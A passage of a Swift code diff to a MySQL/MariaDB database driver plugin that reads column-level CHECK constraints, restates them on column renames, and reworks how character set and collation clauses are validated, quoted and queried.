+    static func clausesQuery(schema: String, table: String) -> String {
+        """
+        SELECT CHECK_CLAUSE
+        FROM INFORMATION_SCHEMA.CHECK_CONSTRAINTS
+        WHERE CONSTRAINT_SCHEMA = '\(mysqlEscapeStringLiteral(schema))'
+            AND TABLE_NAME = '\(mysqlEscapeStringLiteral(table))'
+            AND LEVEL = 'Column'
+        """
+    }
+
+    /// A name as the server prints it in `SHOW CREATE TABLE` and in a clause: backticked, or in double
+    /// quotes under `ANSI_QUOTES`.
+    static func printedNames(_ name: String) -> [String] {
+        identifierQuotes.map { quoted(name, with: $0) }
+    }
+
+    /// Each clause given to the column whose line ends with ` CHECK (<clause>)`. A clause no line ends with
+    /// stays unplaced, and its column is left with none.
+    static func place(clauses: [String], columns: [String], createTable: String) -> [String: String] {
+        var unplaced = clauses
+        var placed: [String: String] = [:]
+        for column in columns {
+            guard let line = columnLine(column, in: createTable),
+                  let index = unplaced.firstIndex(where: { line.hasSuffix(" CHECK (\($0))") })
+            else { continue }
+            placed[column] = unplaced.remove(at: index)
+        }
+        return placed
+    }
+
+    /// The clause as a `CHANGE` restates it: only a quoted identifier is renamed, never a literal such as a JSON path.
+    static func restated(_ clause: String?, renaming oldName: String, to newName: String) -> String? {
+        guard let clause = clause?.nilIfEmpty else { return nil }
+        guard oldName != newName else { return clause }
+        let scalars = Array(clause.unicodeScalars)
+        var text = String.UnicodeScalarView()
+        var copied = 0
+        for identifier in quotedIdentifiers(in: scalars) where namesColumn(identifier.name, oldName) {
+            text.append(contentsOf: scalars[copied..<identifier.range.lowerBound])
+            text.append(contentsOf: quoted(newName, with: identifier.quote).unicodeScalars)
+            copied = identifier.range.upperBound
+        }
+        text.append(contentsOf: scalars[copied...])
+        return String(text)
+    }
+
+    /// The app writes one `ALTER` per column change, and a rename rewrites every clause naming the column,
+    /// so a restated clause still holding another renamed column's old name fails with ERROR 1054 once
+    /// that rename has run.
+    static func renameRefusal(operations: [PluginSchemaOperation]) -> String? {
+        let modifications = operations.compactMap { operation -> (old: PluginColumnDefinition, new: PluginColumnDefinition)? in
+            guard case .modifyColumn(let old, let new) = operation else { return nil }
+            return (old, new)
+        }
+        let renamed = modifications.filter { $0.old.name != $0.new.name }.map { $0.old.name }
+        for modification in modifications {
+            guard let clause = restated(
+                modification.new.columnCheck, renaming: modification.old.name, to: modification.new.name
+            ) else { continue }
+            let identifiers = quotedIdentifiers(in: Array(clause.unicodeScalars)).map(\.name)
+            let named = renamed.first { name in
+                name != modification.old.name && identifiers.contains { namesColumn($0, name) }
+            }
+            guard let named else { continue }
+            return String(
+                format: String(
+                    localized: "The CHECK on column %@ names column %@, which this save renames. Save the rename on its own first."
+                ),
+                modification.new.name,
+                named
+            )
+        }
+        return nil
+    }
+
+    private static let identifierQuotes: [Unicode.Scalar] = ["`", "\""]
+
+    private struct QuotedIdentifier {
+        let quote: Unicode.Scalar
+        let name: String
+        let range: Range<Int>
+    }
+
+    /// Column names compare without regard to case on MariaDB.
+    private static func namesColumn(_ identifier: String, _ column: String) -> Bool {
+        identifier.caseInsensitiveCompare(column) == .orderedSame
+    }
+
+    private static func quoted(_ name: String, with quote: Unicode.Scalar) -> String {
+        var text = String.UnicodeScalarView([quote])
+        for scalar in name.unicodeScalars {
+            text.append(scalar)
+            if scalar == quote { text.append(quote) }
+        }
+        text.append(quote)
+        return String(text)
+    }
+
+    /// Scalars, not Characters: a combining mark after a quote would hide it inside one grapheme.
+    private static func quotedIdentifiers(in scalars: [Unicode.Scalar]) -> [QuotedIdentifier] {
+        var found: [QuotedIdentifier] = []
+        var index = 0
+        while index < scalars.count {
+            let scalar = scalars[index]
+            if scalar == "'" {
+                index = endOfStringLiteral(in: scalars, openingAt: index)
+            } else if identifierQuotes.contains(scalar) {
+                guard let identifier = quotedIdentifier(in: scalars, openingAt: index) else { break }
+                found.append(identifier)
+                index = identifier.range.upperBound
+            } else {
+                index += 1
+            }
+        }
+        return found
+    }
+
+    /// MariaDB prints a literal in single quotes, escaping a quote inside it as `''` or `\'`.
+    private static func endOfStringLiteral(in scalars: [Unicode.Scalar], openingAt start: Int) -> Int {
+        var index = start + 1
+        while index < scalars.count {
+            switch scalars[index] {
+            case "\\":
+                index += 2
+            case "'":
+                guard index + 1 < scalars.count, scalars[index + 1] == "'" else { return index + 1 }
+                index += 2
+            default:
+                index += 1
+            }
+        }
+        return scalars.count
+    }
+
+    /// Nil for an identifier the clause never closes, which leaves the rest of it as read.
+    private static func quotedIdentifier(in scalars: [Unicode.Scalar], openingAt start: Int) -> QuotedIdentifier? {
+        let quote = scalars[start]
+        var name = String.UnicodeScalarView()
+        var index = start + 1
+        while index < scalars.count {
+            guard scalars[index] == quote else {
+                name.append(scalars[index])
+                index += 1
+                continue
+            }
+            guard index + 1 < scalars.count, scalars[index + 1] == quote else {
+                return QuotedIdentifier(quote: quote, name: String(name), range: start..<(index + 1))
+            }
+            name.append(quote)
+            index += 2
+        }
+        return nil
+    }
+
+    /// `SHOW CREATE TABLE` prints each column on a line of its own, two spaces in, with line breaks inside
+    /// strings escaped.
+    private static func columnLine(_ column: String, in createTable: String) -> Substring? {
+        for printed in printedNames(column) {
+            guard let head = createTable.range(of: "\n  \(printed) ") else { continue }
+            let line = createTable[head.lowerBound...].dropFirst(3).prefix { $0 != "\n" }
+            return line.hasSuffix(",") ? line.dropLast() : line
+        }
+        return nil
+    }
+}
+
+internal extension MySQLPluginDriver {
+    func reviewSchemaChange(
+        table: String,
+        schema: String?,
+        operations: [PluginSchemaOperation]
+    ) async throws -> PluginSchemaChangeReview {
+        guard flavor.isMariaDB else { return PluginSchemaChangeReview() }
+        return PluginSchemaChangeReview(refusal: MySQLColumnChecks.renameRefusal(operations: operations))
+    }
+
+    /// Each column's own check, by column name. Empty off MariaDB, before its catalog has `LEVEL`, and when
+    /// the catalog refuses: the columns then read as they did before checks were read at all.
+    func mariadbColumnChecks(table: String, schema: String?, columns: [String]) async throws -> [String: String] {
+        let identity = serverIdentity
+        guard identity.flavor.isMariaDB,
+              MySQLCheckConstraints.source(banner: identity.banner, flavor: identity.flavor) == .informationSchema,
+              catalogVisibility.visibility(of: effectiveSchema(schema)) != .blind,
+              try await catalogHasColumn(.checkConstraintLevel),
+              await !resolvesToTemporaryTable(table, schema: schema)
+        else { return [:] }
+        do {
+            let result = try await execute(
+                ownStatement: MySQLColumnChecks.clausesQuery(schema: effectiveSchema(schema), table: table)
+            )
+            let clauses = result.rows.compactMap { $0[safe: 0]?.asText }
+            guard !clauses.isEmpty else { return [:] }
+            let ddl = try await execute(query: "SHOW CREATE TABLE \(qualifiedName(table, schema: schema))")
+            guard let createTable = ddl.rows.first?[safe: 1]?.asText else { return [:] }
+            return MySQLColumnChecks.place(clauses: clauses, columns: columns, createTable: createTable)
+        } catch let error as MariaDBPluginError
+            where MySQLCatalogVisibilityRule.settlesBlindness(code: error.code) {
+            Self.logger.warning(
+                "column check read refused code=\(error.code, privacy: .public) message=\(error.message)"
+            )
+            return [:]
+        }
+    }
+}
+
+internal extension PluginColumnInfo {
+    func withColumnCheck(_ columnCheck: String?) -> PluginColumnInfo {
+        PluginColumnInfo(
+            name: name,
+            dataType: dataType,
+            isNullable: isNullable,
+            isPrimaryKey: isPrimaryKey,
+            defaultValue: defaultValue,
+            extra: extra,
+            charset: charset,
+            collation: collation,
+            comment: comment,
+            identityKind: identityKind,
+            isGenerated: isGenerated,
+            allowedValues: allowedValues,
+            generationExpression: generationExpression,
+            generationKind: generationKind,
+            ddlSpelling: ddlSpelling,
+            ddlDefault: ddlDefault,
+            ddlGenerationExpression: ddlGenerationExpression,
+            ddlCollation: ddlCollation,
+            classificationTypeName: classificationTypeName,
+            columnCheck: columnCheck
+        )
+    }
+}
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLColumnDefinitionSQL.swift b/apple/Plugins/MySQLDriverPlugin/MySQLColumnDefinitionSQL.swift
index 674c8bd1af..378ecb0af9 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLColumnDefinitionSQL.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLColumnDefinitionSQL.swift
@@ -91,18 +91,72 @@ internal func mysqlIsNullLiteral(_ value: String) -> Bool {
     value.trimmingCharacters(in: .whitespaces).caseInsensitiveCompare("NULL") == .orderedSame
 }
 
+/// Which of `CHARACTER SET` and `COLLATE` a column type takes. Measured on MySQL 8.4 and MariaDB 11.4:
+/// `CHARACTER SET` on `INT`, `VARBINARY`, `BLOB` or `JSON` is ERROR 1064, and so is `CHARACTER SET` on a
+/// national spelling (`NVARCHAR`), which takes `COLLATE` alone. A type outside the list takes neither.
+internal enum MySQLColumnTextType: Equatable {
+    case none
+    case collationOnly
+    case characterSetAndCollation
+
+    init(dataType: String) {
+        let words = dataType.uppercased()
+            .prefix { $0 != "(" }
+            .split(whereSeparator: \.isWhitespace)
+        guard let first = words.first else {
+            self = .none
+            return
+        }
+        let second = words.dropFirst().first
+        switch first {
+        case "NATIONAL", "NCHAR", "NVARCHAR":
+            self = .collationOnly
+        case "CHAR", "CHARACTER":
+            self = second == "BYTE" ? .none : .characterSetAndCollation
+        case "LONG":
+            self = second == "VARBINARY" ? .none : .characterSetAndCollation
+        case "VARCHAR", "VARCHARACTER", "TINYTEXT", "TEXT", "MEDIUMTEXT", "LONGTEXT", "ENUM", "SET":
+            self = .characterSetAndCollation
+        default:
+            self = .none
+        }
+    }
+
+    var takesCharacterSet: Bool { self == .characterSetAndCollation }
+    var takesCollation: Bool { self != .none }
+}
+
+/// A name the catalog lists is a bare word; anything else is backticked, so the server refuses it as
+/// unknown rather than reading the rest of it as SQL.
+internal func mysqlCharsetName(_ name: String) -> String {
+    mysqlIsSafeCharsetIdentifier(name) ? name : mysqlQuoteIdentifier(name)
+}
+
+internal func mysqlIsSafeCharsetIdentifier(_ value: String) -> Bool {
+    guard !value.isEmpty else { return false }
+    let allowed = CharacterSet.alphanumerics.union(CharacterSet(charactersIn: "_"))
+    return value.unicodeScalars.allSatisfy { allowed.contains($0) }
+}
+
+internal func mysqlCharacterSetClauses(_ column: PluginColumnDefinition) -> String {
+    let textType = MySQLColumnTextType(dataType: column.dataType)
+    var clauses = ""
+    if textType.takesCharacterSet, let charset = column.charset?.nilIfEmpty {
+        clauses += " CHARACTER SET \(mysqlCharsetName(charset))"
+    }
+    if textType.takesCollation, let collation = column.collation?.nilIfEmpty {
+        clauses += " COLLATE \(mysqlCharsetName(collation))"
+    }
+    return clauses
+}
+
 internal func mysqlColumnAttributesSQL(_ column: PluginColumnDefinition, isMariaDB: Bool) -> String {
     var def = ""
 
     if column.unsigned {
         def += " UNSIGNED"
     }
-    if let charset = column.charset, !charset.isEmpty {
-        def += " CHARACTER SET \(charset)"
-    }
-    if let collation = column.collation, !collation.isEmpty {
-        def += " COLLATE \(collation)"
-    }
+    def += mysqlCharacterSetClauses(column)
     def += column.isNullable ? " NULL" : " NOT NULL"
 
     if let defaultValue = column.defaultValue {
@@ -122,7 +176,18 @@ internal func mysqlColumnAttributesSQL(_ column: PluginColumnDefinition, isMaria
     return def
 }
 
-internal func mysqlColumnDefinitionSQL(_ column: PluginColumnDefinition, isMariaDB: Bool = false) -> String {
+/// `columnCheck` is the column's own `CHECK` as the statement restates it, printed last on the line as
+/// MariaDB prints it. Only a `MODIFY` or a move of a column that already has one passes it.
+internal func mysqlColumnDefinitionSQL(
+    _ column: PluginColumnDefinition,
+    isMariaDB: Bool = false,
+    columnCheck: String? = nil
+) -> String {
+    let check = columnCheck?.nilIfEmpty.map { " CHECK (\($0))" } ?? ""
+    return mysqlColumnBodySQL(column, isMariaDB: isMariaDB) + check
+}
+
+private func mysqlColumnBodySQL(_ column: PluginColumnDefinition, isMariaDB: Bool) -> String {
     let name = mysqlQuoteIdentifier(column.name)
     guard let expression = column.generationExpression?.nilIfEmpty else {
         return "\(name) \(column.dataType)" + mysqlColumnAttributesSQL(column, isMariaDB: isMariaDB)
@@ -134,13 +199,7 @@ internal func mysqlColumnDefinitionSQL(_ column: PluginColumnDefinition, isMaria
     // out reset a generated string column to the table defaults, because MODIFY COLUMN replaces
     // the whole definition and a reorder restates it.
     let kind = (column.generationKind ?? .virtual).rawValue
-    var definition = "\(name) \(column.dataType)"
-    if let charset = column.charset, !charset.isEmpty {
-        definition += " CHARACTER SET \(charset)"
-    }
-    if let collation = column.collation, !collation.isEmpty {
-        definition += " COLLATE \(collation)"
-    }
+    var definition = "\(name) \(column.dataType)" + mysqlCharacterSetClauses(column)
     definition += " GENERATED ALWAYS AS (\(expression)) \(kind)"
     if !column.isNullable { definition += " NOT NULL" }
     if let comment = column.comment, !comment.isEmpty {
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLCreateTableSQL.swift b/apple/Plugins/MySQLDriverPlugin/MySQLCreateTableSQL.swift
index 7d14afe536..1d4696393b 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLCreateTableSQL.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLCreateTableSQL.swift
@@ -40,10 +40,10 @@ internal func mysqlCreateTableSQL(
         tableOptions.append("ENGINE=\(engine)")
     }
     if let charset = definition.charset, !charset.isEmpty {
-        tableOptions.append("DEFAULT CHARSET=\(charset)")
+        tableOptions.append("DEFAULT CHARSET=\(mysqlCharsetName(charset))")
     }
     if let collation = definition.collation, !collation.isEmpty {
-        tableOptions.append("COLLATE=\(collation)")
+        tableOptions.append("COLLATE=\(mysqlCharsetName(collation))")
     }
     if !tableOptions.isEmpty {
         sql += " " + tableOptions.joined(separator: " ")
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+CreateDatabase.swift b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+CreateDatabase.swift
index c8ab0ebfa6..37d1147aee 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+CreateDatabase.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+CreateDatabase.swift
@@ -70,7 +70,7 @@ extension MySQLPluginDriver {
             )
         }
 
-        guard isSafeCharsetIdentifier(charset) else {
+        guard mysqlIsSafeCharsetIdentifier(charset) else {
             throw MariaDBPluginError(
                 code: 0,
                 message: String(format: String(localized: "Invalid character set: %@"), charset),
@@ -90,7 +90,7 @@ extension MySQLPluginDriver {
         let collationValue = request.values["collation"].flatMap { $0.isEmpty ? nil : $0 }
 
         if let collation = collationValue {
-            guard isSafeCharsetIdentifier(collation) else {
+            guard mysqlIsSafeCharsetIdentifier(collation) else {
                 throw MariaDBPluginError(
                     code: 0,
                     message: String(format: String(localized: "Invalid collation: %@"), collation),
@@ -130,61 +130,11 @@ extension MySQLPluginDriver {
 }
 
 private extension MySQLPluginDriver {
-    struct CharsetDefault {
-        let charset: String
-        let defaultCollation: String
-    }
-
-    struct CollationEntry {
-        let collation: String
-        let charset: String
-    }
-
     struct ServerCharsetDefaults {
         let charset: String?
         let collation: String?
     }
 
-    /// Before 5.0.2 the list comes from `SHOW CHARACTER SET`, whose columns are `Charset`,
-    /// `Description`, `Default collation` and `Maxlen`, in no promised order.
-    func fetchCharsetDefaults() async throws -> [CharsetDefault] {
-        let hasCatalog = serverHasInformationSchema
-        let query = hasCatalog ? """
-            SELECT character_set_name, default_collate_name
-            FROM information_schema.character_sets
-            ORDER BY character_set_name
-            """ : "SHOW CHARACTER SET"
-        let collationColumn = hasCatalog ? 1 : 2
-        let result = try await execute(query: query)
-        return result.rows.compactMap { row -> CharsetDefault? in
-            guard let charset = row[safe: 0]?.asText,
-                  let collation = row[safe: collationColumn]?.asText else {
-                return nil
-            }
-            return CharsetDefault(charset: charset, defaultCollation: collation)
-        }
-        .sorted { $0.charset < $1.charset }
-    }
-
-    /// Before 5.0.2 the list comes from `SHOW COLLATION`, whose first two columns are `Collation` and
-    /// `Charset`, in no promised order.
-    func fetchCollationCatalog() async throws -> [CollationEntry] {
-        let query = serverHasInformationSchema ? """
-            SELECT collation_name, character_set_name
-            FROM information_schema.collations
-            ORDER BY collation_name
-            """ : "SHOW COLLATION"
-        let result = try await execute(query: query)
-        return result.rows.compactMap { row -> CollationEntry? in
-            guard let collation = row[safe: 0]?.asText,
-                  let charset = row[safe: 1]?.asText else {
-                return nil
-            }
-            return CollationEntry(collation: collation, charset: charset)
-        }
-        .sorted { $0.collation < $1.collation }
-    }
-
     enum SessionVariable: String {
         case characterSetDatabase = "character_set_database"
         case collationDatabase = "collation_database"
@@ -210,10 +160,4 @@ private extension MySQLPluginDriver {
             return nil
         }
     }
-
-    func isSafeCharsetIdentifier(_ value: String) -> Bool {
-        guard !value.isEmpty else { return false }
-        let allowed = CharacterSet.alphanumerics.union(CharacterSet(charactersIn: "_"))
-        return value.unicodeScalars.allSatisfy { allowed.contains($0) }
-    }
 }
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+DatabaseMetadata.swift b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+DatabaseMetadata.swift
index f12f13a6aa..e31c68c670 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+DatabaseMetadata.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+DatabaseMetadata.swift
@@ -75,6 +75,8 @@ internal extension MySQLPluginDriver {
         }
     }
 
+    /// The character set is the collation's prefix (`MySQLTableOptions.characterSet(ofCollation:)`): MariaDB
+    /// 10.10+ reports `utf8mb4_uca1400_ai_ci`, which no `COLLATION_NAME` matches.
     func allTablesMetadataSQL(schema: String?) -> String? {
         guard !flavor.isDatabend else { return DatabendCatalog.allTablesMetadataSQL }
         guard serverHasInformationSchema else { return Self.tableStatusStatement(database: effectiveSchema(schema)) }
@@ -83,7 +85,7 @@ internal extension MySQLPluginDriver {
             TABLE_SCHEMA as `schema`,
             TABLE_NAME as name,
             TABLE_TYPE as kind,
-            IFNULL(CCSA.CHARACTER_SET_NAME, '') as charset,
+            IFNULL(SUBSTRING_INDEX(TABLE_COLLATION, '_', 1), '') as charset,
             TABLE_COLLATION as collation,
             TABLE_ROWS as estimated_rows,
             CONCAT(ROUND((DATA_LENGTH + INDEX_LENGTH) / 1024 / 1024, 2), ' MB') as total_size,
@@ -91,8 +93,6 @@ internal extension MySQLPluginDriver {
             CONCAT(ROUND(INDEX_LENGTH / 1024 / 1024, 2), ' MB') as index_size,
             TABLE_COMMENT as comment
         FROM information_schema.TABLES
-        LEFT JOIN information_schema.COLLATION_CHARACTER_SET_APPLICABILITY CCSA
-            ON TABLE_COLLATION = CCSA.COLLATION_NAME
         WHERE TABLE_SCHEMA = '\(effectiveSchemaLiteral(schema))'
         ORDER BY TABLE_NAME
         """)
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+Schema.swift b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+Schema.swift
index 19e984f263..408b7a5a54 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+Schema.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+Schema.swift
@@ -60,7 +60,7 @@ internal extension MySQLPluginDriver {
             table: table, schema: schema, showRows: result.rows, catalogDetails: catalogDetails
         )
 
-        return result.rows.compactMap { row in
+        let columns = result.rows.compactMap { row -> PluginColumnInfo? in
             guard let name = row[safe: 0]?.asText,
                   let dataType = row[safe: 1]?.asText
             else { return nil }
@@ -109,6 +109,9 @@ internal extension MySQLPluginDriver {
                 generationKind: mysqlGenerationKind(extra: extra)
             )
         }
+        let checks = try await mariadbColumnChecks(table: table, schema: schema, columns: columns.map(\.name))
+        guard !checks.isEmpty else { return columns }
+        return columns.map { $0.withColumnCheck(checks[$0.name]) }
     }
 
     /// What `INFORMATION_SCHEMA.COLUMNS` says about a table's columns that `SHOW FULL COLUMNS` cannot:
@@ -292,10 +295,13 @@ internal extension MySQLPluginDriver {
         let safeTable = mysqlEscapeStringLiteral(table)
         let query: String
         if flavor.isMariaDB {
+            // A column's own check is the column's, restated by its MODIFY: as a constraint here, its
+            // DROP CONSTRAINT fails with ERROR 1091.
+            let tableLevel = try await catalogHasColumn(.checkConstraintLevel) ? " AND LEVEL <> \'Column\'" : ""
             query = """
                 SELECT CONSTRAINT_NAME, CHECK_CLAUSE
                 FROM INFORMATION_SCHEMA.CHECK_CONSTRAINTS
-                WHERE CONSTRAINT_SCHEMA = \'\(database)\' AND TABLE_NAME = \'\(safeTable)\'
+                WHERE CONSTRAINT_SCHEMA = \'\(database)\' AND TABLE_NAME = \'\(safeTable)\'\(tableLevel)
                 ORDER BY CONSTRAINT_NAME
                 """
         } else {
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+TableOptions.swift b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+TableOptions.swift
new file mode 100644
index 0000000000..922a78ec8a
--- /dev/null
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+TableOptions.swift
@@ -0,0 +1,171 @@
+//
+//  MySQLPluginDriver+TableOptions.swift
+//  MySQLDriverPlugin
+//
+//  The table options reads and write, and the character set, collation and engine catalog they share
+//  with Create Database.
+//
+
+import Foundation
+import os
+import TableProMySQLCore
+import TableProPluginKit
+
+internal enum MySQLCatalogColumn: String {
+    case checkConstraintLevel = "CHECK_CONSTRAINTS.LEVEL"
+    case fullCollationName = "COLLATION_CHARACTER_SET_APPLICABILITY.FULL_COLLATION_NAME"
+
+    var presenceQuery: String {
+        let parts = rawValue.split(separator: ".", maxSplits: 1).map(String.init)
+        return """
+            SELECT COUNT(*)
+            FROM information_schema.COLUMNS
+            WHERE TABLE_SCHEMA = 'information_schema'
+                AND TABLE_NAME = '\(parts[0])'
+                AND COLUMN_NAME = '\(parts[1])'
+            """
+    }
+}
+
+extension MySQLPluginDriver {
+    func fetchTableOptions(table: String, schema: String?) async throws -> PluginTableOptions? {
+        let sessionFlavor = flavor
+        guard MySQLTableOptions.writesOptions(flavor: sessionFlavor),
+              serverHasInformationSchema,
+              await !resolvesToTemporaryTable(table, schema: schema)
+        else { return nil }
+        let result = try await execute(
+            ownStatement: MySQLTableOptions.tableQuery(schema: effectiveSchema(schema), table: table)
+        )
+        guard let row = MySQLTableOptionsRow.row(named: table, in: result.rows), row.takesTableOptions else {
+            return nil
+        }
+        // MariaDB's catalog counter is live, and its NO_TABLE_OPTIONS blanks the options line.
+        var optionsLine: [String: String]?
+        if sessionFlavor == .mysql, row.hasAutoIncrementColumn {
+            optionsLine = try await createTableOptions(table: table, schema: schema)
+        }
+        return MySQLTableOptions.tableOptions(row: row, createTableOptions: optionsLine)
+    }
+
+    func fetchTableOptionsCatalog() async throws -> PluginTableOptionsCatalog? {
+        guard MySQLTableOptions.readsCatalog(flavor: flavor) else { return nil }
+        let characterSets = try await fetchCharsetDefaults()
+        guard !characterSets.isEmpty else { return nil }
+        let collations = try await fetchCollationCatalog()
+        let engines = try await fetchStorageEngines()
+        return MySQLTableOptions.catalog(characterSets: characterSets, collations: collations, engines: engines)
+    }
+
+    func fetchDefaultTableOptions(schema: String?) async throws -> PluginTableOptions? {
+        let database = effectiveSchema(schema)
+        guard MySQLTableOptions.readsCatalog(flavor: flavor), serverHasInformationSchema, !database.isEmpty else {
+            return nil
+        }
+        let result = try await execute(ownStatement: MySQLTableOptions.schemaDefaultsQuery(schema: database))
+        return MySQLTableOptions.schemaDefaults(named: database, in: result.rows)
+    }
+
+    func tableOptionsStatement(table: String, schema: String?, change: PluginTableOptionsChange) -> String? {
+        guard MySQLTableOptions.writesOptions(flavor: flavor) else { return nil }
+        return MySQLTableOptions.statement(
+            qualifiedTable: MySQLObjectQueries.qualifiedIdentifier(schema: schema, name: table),
+            change: change
+        )
+    }
+
+    /// Before 5.0.2 the list comes from `SHOW CHARACTER SET`, whose columns are `Charset`,
+    /// `Description`, `Default collation` and `Maxlen`.
+    func fetchCharsetDefaults() async throws -> [MySQLCharsetDefault] {
+        let hasCatalog = serverHasInformationSchema
+        let query = hasCatalog ? """
+            SELECT CHARACTER_SET_NAME, DESCRIPTION, DEFAULT_COLLATE_NAME
+            FROM information_schema.CHARACTER_SETS
+            ORDER BY CHARACTER_SET_NAME
+            """ : "SHOW CHARACTER SET"
+        let result = try await execute(query: query)
+        return result.rows.compactMap { row -> MySQLCharsetDefault? in
+            guard let charset = row[safe: 0]?.asText,
+                  let collation = row[safe: 2]?.asText else {
+                return nil
+            }
+            return MySQLCharsetDefault(
+                charset: charset,
+                defaultCollation: collation,
+                description: row[safe: 1]?.asText?.nilIfEmpty
+            )
+        }
+        .sorted { $0.charset < $1.charset }
+    }
+
+    /// MariaDB 10.10+ lists each UCA 14.0 collation in `COLLATIONS` once, with no character set, while the
+    /// server stores and reports the full name (`utf8mb4_uca1400_ai_ci`). Only `FULL_COLLATION_NAME`
+    /// lists those, so a server that has the column is read from it. Before 5.0.2 the list comes from
+    /// `SHOW COLLATION`, whose first two columns are `Collation` and `Charset`.
+    func fetchCollationCatalog() async throws -> [MySQLCollationEntry] {
+        let query: String
+        if !serverHasInformationSchema {
+            query = "SHOW COLLATION"
+        } else if flavor.isMariaDB, try await catalogHasColumn(.fullCollationName) {
+            query = """
+                SELECT FULL_COLLATION_NAME, CHARACTER_SET_NAME
+                FROM information_schema.COLLATION_CHARACTER_SET_APPLICABILITY
+                ORDER BY FULL_COLLATION_NAME
+                """
+        } else {
+            query = """
+                SELECT COLLATION_NAME, CHARACTER_SET_NAME
+                FROM information_schema.COLLATIONS
+                ORDER BY COLLATION_NAME
+                """
+        }
+        let result = try await execute(query: query)
+        var seen = Set<String>()
+        return result.rows.compactMap { row -> MySQLCollationEntry? in
+            guard let collation = row[safe: 0]?.asText,
+                  let charset = row[safe: 1]?.asText,
+                  seen.insert(collation).inserted else {
+                return nil
+            }
+            return MySQLCollationEntry(collation: collation, charset: charset)
+        }
+        .sorted { $0.collation < $1.collation }
+    }
+
+    /// An engine the server lists with `NO` or `DISABLED` fails `CREATE TABLE` with ERROR 1286. A refused
+    /// read leaves the list empty rather than failing the catalog with it.
+    func fetchStorageEngines() async throws -> [MySQLStorageEngine] {
+        let query = serverHasInformationSchema ? """
+            SELECT ENGINE, SUPPORT
+            FROM information_schema.ENGINES
+            WHERE SUPPORT IN ('YES', 'DEFAULT')
+            """ : "SHOW ENGINES"
+        do {
+            return MySQLTableOptions.engines(fromRows: try await execute(query: query).rows)
+        } catch let error as MariaDBPluginError
+            where MySQLCatalogVisibilityRule.settlesBlindness(code: error.code) {
+            Self.logger.warning("storage engine read refused code=\(error.code, privacy: .public) message=\(error.message)")
+            return []
+        }
+    }
+
+    /// A server that refuses the question has no such column for this read, and is asked again next time.
+    func catalogHasColumn(_ column: MySQLCatalogColumn) async throws -> Bool {
+        if let known = cachedCatalogColumnPresence(column.rawValue) { return known }
+        let result: PluginQueryResult
+        do {
+            result = try await execute(ownStatement: column.presenceQuery)
+        } catch let error as MariaDBPluginError
+            where MySQLCatalogVisibilityRule.settlesBlindness(code: error.code) {
+            return false
+        }
+        let present = (result.rows.first?[safe: 0]?.asText.flatMap { Int($0) } ?? 0) > 0
+        cacheCatalogColumnPresence(column.rawValue, present)
+        return present
+    }
+
+    private func createTableOptions(table: String, schema: String?) async throws -> [String: String]? {
+        let result = try await execute(query: "SHOW CREATE TABLE \(qualifiedName(table, schema: schema))")
+        return result.rows.first?[safe: 1]?.asText.flatMap(MySQLCreateTableScanner.tableOptions(fromCreateTable:))
+    }
+}
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver.swift b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver.swift
index 1ce1cf0d7f..d0312506b6 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver.swift
@@ -63,9 +63,22 @@ final class MySQLPluginDriver: PluginDatabaseDriver, @unchecked Sendable {
         set { sessionLock.withLock { _schemaNamesAreCaseSensitive = newValue } }
     }
 
+    /// Which `information_schema` columns this server has, keyed `TABLE.COLUMN`. Kept and cleared like
+    /// `_schemaNamesAreCaseSensitive`.
+    private var _catalogColumnPresence: [String: Bool] = [:]
+
+    internal func cachedCatalogColumnPresence(_ key: String) -> Bool? {
+        sessionLock.withLock { _catalogColumnPresence[key] }
+    }
+
+    internal func cacheCatalogColumnPresence(_ key: String, _ present: Bool) {
+        sessionLock.withLock { _catalogColumnPresence[key] = present }
+    }
+
     /// Guards `_flavor`, `footprint`, `appliedQueryTimeoutSeconds`, `isReleased`, `sessionLoss`,
-    /// `_schemaNamesAreCaseSensitive` and `lastActivity`. The driver is `@unchecked Sendable` and the idle timer runs on its own task, so
-    /// the release decision and a query arriving would otherwise read and write them at the same time.
+    /// `_schemaNamesAreCaseSensitive`, `_catalogColumnPresence` and `lastActivity`. The driver is
+    /// `@unchecked Sendable` and the idle timer runs on its own task, so the release decision and a
+    /// query arriving would otherwise read and write them at the same time.
     /// Nothing calls into the connection while holding it: the connection asks the driver back under
     /// this lock from its deadline queue.
     private let sessionLock = NSLock()
@@ -249,6 +262,7 @@ final class MySQLPluginDriver: PluginDatabaseDriver, @unchecked Sendable {
             _serverVersion = nil
             _flavor = initialFlavor
             _schemaNamesAreCaseSensitive = nil
+            _catalogColumnPresence = [:]
             isReleased = false
             isDisconnected = true
             footprint.reset()
@@ -1160,7 +1174,11 @@ final class MySQLPluginDriver: PluginDatabaseDriver, @unchecked Sendable {
             return DatabendCatalog.modifyColumnSQL(table: table, oldColumn: oldColumn, newColumn: newColumn)
         }
         let tableName = quoteIdentifier(table)
-        let definition = mysqlColumnDefinitionSQL(newColumn, isMariaDB: flavor.isMariaDB)
+        let isMariaDB = flavor.isMariaDB
+        let check = isMariaDB
